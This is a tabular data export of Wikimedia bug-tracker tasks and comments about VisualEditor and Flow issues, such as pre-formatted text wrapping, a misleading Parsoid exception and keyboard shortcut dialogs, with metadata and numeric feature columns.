529313,VisualEditor: Allow inspectors to be left-aligned?,Fixed a while ago,,,1442494980,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vnxcxik6c5qmqlw52xaj,task_subcomment,,True,c1,3,True,,,115,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Fixed a while ago
56490,Flow: misleading exception is thrown if the parsoid service is down,"If the parsoid service is down (`sudo service parsoid stop`, or update extension/Parsoid and forget/fail `npm install`), then viewing flow pages fails with exception

   Parser only supports wikitext to HTML conversion

   Backtrace:

   #0 /srv/mediawiki/extensions/Flow/includes/ParsoidUtils.php(24): Flow\ParsoidUtils::parser('html', 'wikitext', '<p>It's a long ...')

This is true, but it masks the real problem that parsoid has to work, and didn't.  ParsoidUtils::convert has a try-catch block around using parsoid, and if that fails it will fall back to using parser. It would be helpful for wiki operators if the exception message included the parsoid failure, e.g.
   Parser only supports wikitext to HTML conversion (and parsoid earlier failed with exception ""VisualEditor is unavailable"")

Now that I've figured out what's going on, this has become a low-priority bug :-)

--------------------------
**Version**: master
**Severity**: minor",Low,25.0,1380001740,1386220039.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-vpzdercihud4opsstlu6,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.0,0.0,0.5,5.0,1.5,0.0,0.0,1.5,0.5,3.5,0.0,1.0,0.0,0.5,0.0,5.5,7.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,8.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,5.0,0.0,1.5,0.5,0.0,0.0,9.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.5,2.0,10.5,2.0,3.0,5.0,0.0,0.5,0.0,0.5,3.0,0.0,0.5,0.0,3.0,7.0,7.0,0.0,3.5,0.0,3.0,0.0,1.0,1.5,0.0,2.0,0.5,0.0,1.0,4.144329896907216,0.7422680412371134,"If the parsoid service is down (CODE, or update extension/Parsoid and forget/fail CODE), then viewing flow pages fails with exception

   Parser only supports wikitext to HTML conversion

   Backtrace:

   #0 /srv/mediawiki/extensions/Flow/includes/ParsoidUtils.php(24): Flow\ParsoidUtils::parser('html', 'wikitext', '<p>It's a long ...')

This is true, but it masks the real problem that parsoid has to work, and didn't.  ParsoidUtils::convert has a try-catch block around using parsoid, and if that fails it will fall back to using parser. It would be helpful for wiki operators if the exception message included the parsoid failure, e.g.
   Parser only supports wikitext to HTML conversion (and parsoid earlier failed with exception ""VisualEditor is unavailable"")

Now that I've figured out what's going on, this has become a low-priority bug :-)

--------------------------
**Version**: master
**Severity**: minor"
257321,Flow: misleading exception is thrown if the parsoid service is down,https://gerrit.wikimedia.org/r/#/c/92633/,,,1386220039,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-vpzdercihud4opsstlu6,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
257316,Flow: misleading exception is thrown if the parsoid service is down,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/264,,,1380310267,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-vpzdercihud4opsstlu6,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
56472,VisualEditor: Allow re-positioning of selected media items using arrow keys,"When an image is selected it should be possible to position it using the cursor keys.

up/down should move it one line up/down. Whether left/right should move it one character or one word at a time I'm not sure about. Possibly shift/ctrl should modify this?

This would be useful for fine control and for systems with laggy mouse behaviour (not uncommon on slow connections in my experience).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51665",Low,25.0,1379954340,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-b2btpgodq22ee3ay6bt2,task_description,open,True,c1,3,False,False,,12,,0.0,0.0,0.0,0.5,1.5,6.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,3.5,7.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,2.0,7.5,1.0,1.5,3.5,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,3.5,7.5,2.0,1.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.7351190476190474,0.6989348370927319,"When an image is selected it should be possible to position it using the cursor keys.

up/down should move it one line up/down. Whether left/right should move it one character or one word at a time I'm not sure about. Possibly shift/ctrl should modify this?

This would be useful for fine control and for systems with laggy mouse behaviour (not uncommon on slow connections in my experience).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
256016,VisualEditor: Allow re-positioning of selected media items using arrow keys,We probably can't use arrow keys (because that's over-riding expected behaviour of moving the cursor) but we could use Ctrl+→ etc. potentially.,,,1380072535,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2btpgodq22ee3ay6bt2,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,4.066666666666666,0.9333333333333333,We probably can't use arrow keys (because that's over-riding expected behaviour of moving the cursor) but we could use Ctrl+→ etc. potentially.
56381,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"When a pre-formatted paragraph with long lines is displayed in VE it word wraps. However it doesn't word-wrap in display mode (T2260), meaning that you have no idea that you need to add manual line breaks until after you have saved.

See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=573792519#Section_number_three (rendered) and https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=573792519&veaction=edit&section=2 (in VE)

The word wrapping in VE is actually better than what happens in read mode, but the two should not be different. Fixing T2260 would be better, but as it's been open since 2004 adjusting VE to match the current behaviour seems more realistic :/

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=260",Low,25.0,1379694420,1429559880.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.5,1.0,8.0,2.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,8.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.0,1.5,1.5,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,2.0,0.5,0.0,0.5,11.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,3.0,10.5,2.0,2.0,3.0,0.0,0.5,0.0,0.0,4.0,0.0,1.5,0.0,3.0,8.5,4.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.0,2.5,2.0,0.0,0.0,3.65,0.7,"When a pre-formatted paragraph with long lines is displayed in VE it word wraps. However it doesn't word-wrap in display mode (T2260), meaning that you have no idea that you need to add manual line breaks until after you have saved.

See URL (rendered) and URL (in VE)

The word wrapping in VE is actually better than what happens in read mode, but the two should not be different. Fixing T2260 would be better, but as it's been open since 2004 adjusting VE to match the current behaviour seems more realistic :/

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
446573,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Change 205177 merged by jenkins-bot:
Do not wrap <pre> nodes

[[https://gerrit.wikimedia.org/r/205177]]",,,1429559989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.090909090909091,0.9090909090909091,"Change 205177 merged by jenkins-bot:
Do not wrap <pre> nodes

[[GERRIT_URL]]"
446004,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Change 205177 had a related patch set uploaded (by Bartosz Dziewoński):
Do not wrap <pre> nodes

[[https://gerrit.wikimedia.org/r/205177]]
",,,1429476381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,False,,,93,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,21.0,3.5,0.8928571428571429,"Change 205177 had a related patch set uploaded (by Bartosz Dziewoński):
Do not wrap <pre> nodes

[[GERRIT_URL]]
"
446003,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"We have `pre.ve-ce-branchNode { white-space: pre-wrap; }` added per T40043, because Chrome/Safari will otherwise //also// wrap the text, not just between words, but anywhere (this affects any `<pre>` inside a  `contenteditable=""true""` node). I did some searching and found https://bugs.webkit.org/show_bug.cgi?id=35935; it appears that we can set `word-wrap: normal;` to override this behavior.

We also need to remove `overflow: hidden` from the surface to get regular sane horizontal scrolling behavior. It doesn't //seem// to be necessary…",,,1429476284,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,2.0,0.0,0.0,0.0,2.0,5.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,1.0,1.0,0.0,6.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,12.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.085365853658536,0.8170731707317073,"We have CODE added per T40043, because Chrome/Safari will otherwise //also// wrap the text, not just between words, but anywhere (this affects any CODE inside a  CODE node). I did some searching and found URL it appears that we can set CODE to override this behavior.

We also need to remove CODE from the surface to get regular sane horizontal scrolling behavior. It doesn't //seem// to be necessary…"
446002,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,,,,1429475491,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
446001,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,,,,1429475153,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
250379,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Created attachment 17130
Read - no word wrapping

**Attached**: {F11732}",,,1415999787,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4210526315789473,0.8421052631578947,"Created attachment 17130
Read - no word wrapping

**Attached**: {F11732}"
250374,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,"Created attachment 17129
Preformatted text in Edit- word wrapping is present

**Attached**: {F11731}",,,1415999734,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.090909090909091,0.8636363636363636,"Created attachment 17129
Preformatted text in Edit- word wrapping is present

**Attached**: {F11731}"
250370,VisualEditor: Long lines in preformatted paragraphs should not wrap in VE,Alternatively we could fix this bug in MediaWiki…,,,1415881181,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnx5c5z533vu7ca4ybtp,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Alternatively we could fix this bug in MediaWiki…
56365,VisualEditor: Provide a dialog with a list of all keyboard short-cuts (on Ctrl+? or similar?),"See e.g. http://www.impressivewebs.com/demo-files/question-mark-js/ - similarly used in Reddit etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1379661360,1390677098.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5xysqxijiml4iixxb7sd,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.035714285714286,0.6785714285714286,"See e.g. URL - similarly used in Reddit etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
249415,VisualEditor: Provide a dialog with a list of all keyboard short-cuts (on Ctrl+? or similar?),https://gerrit.wikimedia.org/r/#/c/107153/,,,1390677098,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5xysqxijiml4iixxb7sd,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
56361,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),"Screenshot of link inspector not listing a matching page

When opening the link inspector on a link to dab page [[Department of Foreign Affairs and Trade]], the link inspector shows two items: the dab page, and the page [[Department of Foreign Affairs and Trade (Ireland)]].  It does not list [[Department of Foreign Affairs and Trade (Australia)]].  The unlisted page is not a new page.

Steps to reproduce:
1. https://en.wikipedia.org/w/index.php?title=Heidi_Bootle&oldid=573475141
2. Open Visual Editor
3. Click on Department of Foreign Affairs and Trade

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51013

**Attached**: {F11697}",Low,25.0,1379640720,1433607117.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-cqgpkdfnpdapeshycn57,task_description,duplicate,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,5.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.5,20.5,0.5,2.5,4.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.5,5.0,11.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,4.5,3.4289131920710867,0.5231544771018455,"Screenshot of link inspector not listing a matching page

When opening the link inspector on a link to dab page [[Department of Foreign Affairs and Trade]], the link inspector shows two items: the dab page, and the page [[Department of Foreign Affairs and Trade (Ireland)]].  It does not list [[Department of Foreign Affairs and Trade (Australia)]].  The unlisted page is not a new page.

Steps to reproduce:
1. URL
2. Open Visual Editor
3. Click on Department of Foreign Affairs and Trade

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11697}"
249297,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),"Actually, merging this into bug 51013 for actioning.

*** This bug has been marked as a duplicate of bug 51013 ***",,,1410985568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,True,,,63,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,3.392857142857143,0.7142857142857143,"Actually, merging this into bug 51013 for actioning.

*** This bug has been marked as a duplicate of bug 51013 ***"
249294,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),*** Bug 67150 has been marked as a duplicate of this bug. ***,,,1406753647,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 67150 has been marked as a duplicate of this bug. ***
249288,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),*** Bug 62804 has been marked as a duplicate of this bug. ***,,,1395185089,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62804 has been marked as a duplicate of this bug. ***
56315,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"Although it can't be used in articles, it is widely used elsewhere, including userpages.
If you try and VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573626556 you'll notice that this reflects in reference numbering being incorrect, since the ones in the divbox will be ignored.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
